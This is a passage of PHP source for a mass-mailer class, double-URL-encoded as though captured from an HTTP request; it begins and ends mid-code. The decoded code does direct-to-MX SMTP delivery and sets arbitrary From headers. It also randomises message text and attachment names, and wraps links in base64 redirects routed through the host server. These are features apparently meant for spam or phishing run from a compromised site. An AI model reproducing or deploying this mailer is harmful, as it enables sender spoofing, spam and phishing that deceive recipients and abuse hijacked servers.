20%2521empty%2528%2524arec%255B0%255D%255B%2527ip%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_records%255B%255D%2520%253D%2520%2524arec%255B0%255D%255B%2527ip%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524mx_records%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520format_smtp_host%2528%2524host%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540preg_match%2528%2527/%255E%2528%255Cd%257B1%252C3%257D%255C.%2529%257B3%257D%255Cd%257B1%252C3%257D%2524/%2527%252C%2520%2524host%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2522%255B%2524host%255D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524host%252C%2520%2527%253A%2527%2529%2520%2521%253D%253D%2520false%2520%2526%2526%2520%2540preg_match%2528%2527/%255E%2528%255B0-9a-fA-F%255D%257B1%252C4%257D%253A%2529%257B1%252C7%257D%255B0-9a-fA-F%255D%257B1%252C4%257D%2524/%2527%252C%2520%2524host%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2522%255B%2524host%255D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524host%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_text_between%2528%2524str%252C%2520%2524start%252C%2520%2524end%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524pos_start%2520%253D%2520%2540strpos%2528%2524str%252C%2520%2524start%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pos_start%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524pos_end%2520%253D%2520%2540strpos%2528%2524str%252C%2520%2524end%252C%2520%2524pos_start%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pos_end%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540substr%2528%2524str%252C%2520%2524pos_start%2520%252B%2520strlen%2528%2524start%2529%252C%2520%2524pos_end%2520-%2520%2524pos_start%2520-%2520strlen%2528%2524start%2529%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520handle_data%2528%2524data%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ex%2520%253D%2520%2540explode%2528%2522%255Cn%2522%252C%2520%2524data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540trim%2528%2524ex%255Barray_rand%2528%2524ex%2529%255D%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520process_macros_random%2528%2524text%252C%2520%2524data%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255Bredirect%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524rd%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%257BrandM%253A%2528.%252B%253F%2529%255C%257D%2523is%2527%252C%2520%2524text%252C%2520%2524rdm%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524rd%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524rd%255B1%255D%2520as%2520%2524i%2520%253D%253E%2520%2524link%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524link_parts%2520%2520%253D%2520%2540explode%2528%2527%253E%253E%253E%2527%252C%2520%2524link%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524curl%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520%2522http%253A//%2522.%2524this-%253Efulldomain.%2540%2524_SERVER%255B%2527REQUEST_URI%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520%2520%2520%2520%253D%2520%2522l%253D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520.%253D%2520trim%2528%2524link_parts%255B0%255D%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520for%2520%2528%2524z%253D1%253B%2520%2524z%253Ccount%2528%2524link_parts%2529%253B%2520%2524z%252B%252B%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524link_parts%255B%2524z%255D%252C%2520%2527email%253A%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520.%253D%2520%2522%2526e%253D%2522.trim%2528%2524data%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528strpos%2528%2524link_parts%255B%2524z%255D%252C%2520%2527var%253A%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524vi%2520%253D%2520%2540explode%2528%2527%253A%2527%252C%2520%2524link_parts%255B%2524z%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524vi%255B1%255D%2529%2520%2526%2526%2520isset%2528%2524data%255B%2524vi%255B1%255D%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520.%253D%2520%2522%2526v%2522.%2524vi%255B1%255D.%2522%253D%2522.trim%2528%2524data%255B%2524vi%255B1%255D%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528strpos%2528%2524link_parts%255B%2524z%255D%252C%2520%2527link%253A%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524curl%2520%253D%2520%2540explode%2528%2527%253A%2527%252C%2520%2524link_parts%255B%2524z%255D%252C%25202%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524curl%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524curl%2520%253D%2520%2524curl%255B1%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520.%253D%2520%2522%2526%2522.%2524link_parts%255B%2524z%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524rd%255B0%255D%255B%2524i%255D%252C%2520%2524curl.%2522%253Fr%253D%2522.base64_encode%2528%2524redirect%2529%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524text%252C%2520%2527%255Bunsubscribe%253A%255D%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eunsubscribe%2520%253D%25201%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524unsubscribe_url%2520%2520%2520%253D%2520%2522http%253A//%2522.%2524this-%253Efulldomain.%2540%2524_SERVER%255B%2527REQUEST_URI%2527%255D.%2522%253Fu%253D%2522.base64_encode%2528%2524data%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520str_replace%2528%2527%255Bunsubscribe%253A%255D%2527%252C%2520%2524unsubscribe_url%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524rdm%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524rdm%255B1%255D%2520as%2520%2524i%2520%253D%253E%2520%2524rand_str%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524opts%2520%253D%2520explode%2528%2527%257C%2527%252C%2520%2524rand_str%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found_exist%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524this-%253Erandm_array%2520as%2520%2524rk%2520%253D%253E%2520%2524rv%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524rv%255B0%255D%2520%253D%253D%2520%2524rdm%255B0%255D%255B%2524i%255D%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520str_replace%2528%2524rdm%255B0%255D%255B%2524i%255D%252C%2520%2524rv%255B1%255D%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found_exist%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524found_exist%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sel%2520%253D%2520%2524opts%255Barray_rand%2528%2524opts%2529%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Erandm_array%255B%255D%2520%253D%2520array%2528%2524rdm%255B0%255D%255B%2524i%255D%252C%2520%2524sel%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520str_replace%2528%2524rdm%255B0%255D%255B%2524i%255D%252C%2520%2524sel%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255Bbase64%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524resb%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524resb%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524resb%255B1%255D%2520as%2520%2524ii%2520%253D%253E%2520%2524b64%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%257Bvar%253A%2528.%252B%253F%2529%255C%257D%2523is%2527%252C%2520%2524b64%252C%2520%2524vb%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524vb%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524vb%255B1%255D%2520as%2520%2524var_index%2520%253D%253E%2520%2524varn%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528is_numeric%2528%2524varn%2529%2520%2526%2526%2520isset%2528%2524data%255B%2524varn%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524b64%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524vb%255B0%255D%255B%2524var_index%255D%252C%2520%2524data%255B%2524varn%255D%252C%2520%2524b64%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524resb%255B0%255D%255B%2524ii%255D%252C%2520base64_encode%2528%2524b64%2529%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255Battachment%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524att%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524att%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524att%255B1%255D%2520as%2520%2524i%2520%253D%253E%2520%2524at%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eattachment_array%255B%255D%2520%253D%2520%2540explode%2528%2527%253E%253E%253E%2527%252C%2520%2524at%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524att%255B0%255D%255B%2524i%255D%252C%2520%2527%2527%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255BattachmentM%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524attm%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524attm%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524attm%255B1%255D%2520as%2520%2524i%2520%253D%253E%2520%2524atm%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524opts%2520%253D%2520%2540explode%2528%2527%253E%253E%253E%2527%252C%2520%2524atm%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524opts%255B0%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%2528%2528.%252B%253F%2529%255C%2529%2523is%2527%252C%2520%2524opts%255B0%255D%252C%2520%2524r11%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524r11%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524r11%255B1%255D%2520as%2520%2524rg%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524range%2520%253D%2520%2540explode%2528%2527%252C%2527%252C%2520%2524rg%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528count%2528%2524range%2529%253D%253D2%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524rnd_val%2520%253D%2520rand%2528intval%2528%2524range%255B0%255D%2529%252C%2520intval%2528%2524range%255B1%255D%2529-1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524opts%255B0%255D%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524rg%252C%2520%2524rnd_val%252C%2520%2524opts%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524opts%255B0%255D%2520%253D%2520str_replace%2528array%2528%2527%2528%2527%252C%2527%2529%2527%2529%252C%2520%2527%2527%252C%2520%2524opts%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eattachment_array%255B%255D%2520%253D%2520%2524opts%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524attm%255B0%255D%255B%2524i%255D%252C%2520%2527%2527%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255Bimage64%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524img64%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524img64%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524img_file%2520%253D%2520%2527image64_file.png%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524img64%255B1%255D%2520as%2520%2524k%2520%253D%253E%2520%2524url%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540file_put_contents%2528%2524img_file%252C%2520%2540file_get_contents%2528%2524url%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524img_data%2520%253D%2520%2540file_get_contents%2528%2524img_file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524img_data%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mtype%2520%253D%2520%2524this-%253Eget_mime_type%2528%2524img_file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data_img64%2520%253D%2520%2527data%253A%2527.%2524mtype.%2527%253Bbase64%252C%2527.base64_encode%2528%2524img_data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524img64%255B0%255D%255B%2524k%255D%252C%2520%2524data_img64%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540unlink%2528%2524img_file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520str_replace%2528array%2528%2527%257Bvar%253A%257D%2527%252C%2527%257Bemail%253A%257D%2527%2529%252C%2520array%2528%2527%257Bvar%253A1%257D%2527%252C%2520trim%2528%2524data%255B0%255D%2529%2529%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524text%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_headers%2528%2524fromname%252C%2520%2524frommail%252C%2520%2524replyto%2520%253D%2520null%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524fn_enc%2520%253D%2520%2528function_exists%2528%2527iconv%2527%2529%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253F%2520%2522%253D%253F%2522.%2524this-%253Eencoding.%2522%253FB%253F%2522.base64_encode%2528%2540iconv%2528%2527UTF-8%2527%252C%2524this-%253Eencoding%252C%2524fromname%2529%2529.%2522%253F%253D%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253A%2520%2522%253D%253F%2522.%2524this-%253Eencoding.%2522%253FB%253F%2522.base64_encode%2528%2524fromname%2529.%2522%253F%253D%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%253D%2520%2522From%253A%2520%2522.%2524fn_enc.%2522%2520%253C%2522.%2524frommail.%2522%253E%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521is_null%2528%2524replyto%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2522Reply-To%253A%2520%2522.%2524replyto.%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2522MIME-Version%253A%25201.0%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524this-%253Ecustom_headers%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520str_replace%2528%2522%255Cn%2522%252C%2520%2522%255Cr%255Cn%2522%252C%2520trim%2528%2524this-%253Ecustom_headers%2529%2529.%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524headers%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520cut_tags%2528%2524message%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524msg%2520%253D%2520trim%2528strip_tags%2528%2524message%252C%2520%2527%253Ca%253E%2527%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524find_a%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520while%2520%2528%2524find_a%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524start%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%253Ca%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524start%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524href%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527href%2527%252C%2520%2524start%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524href%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2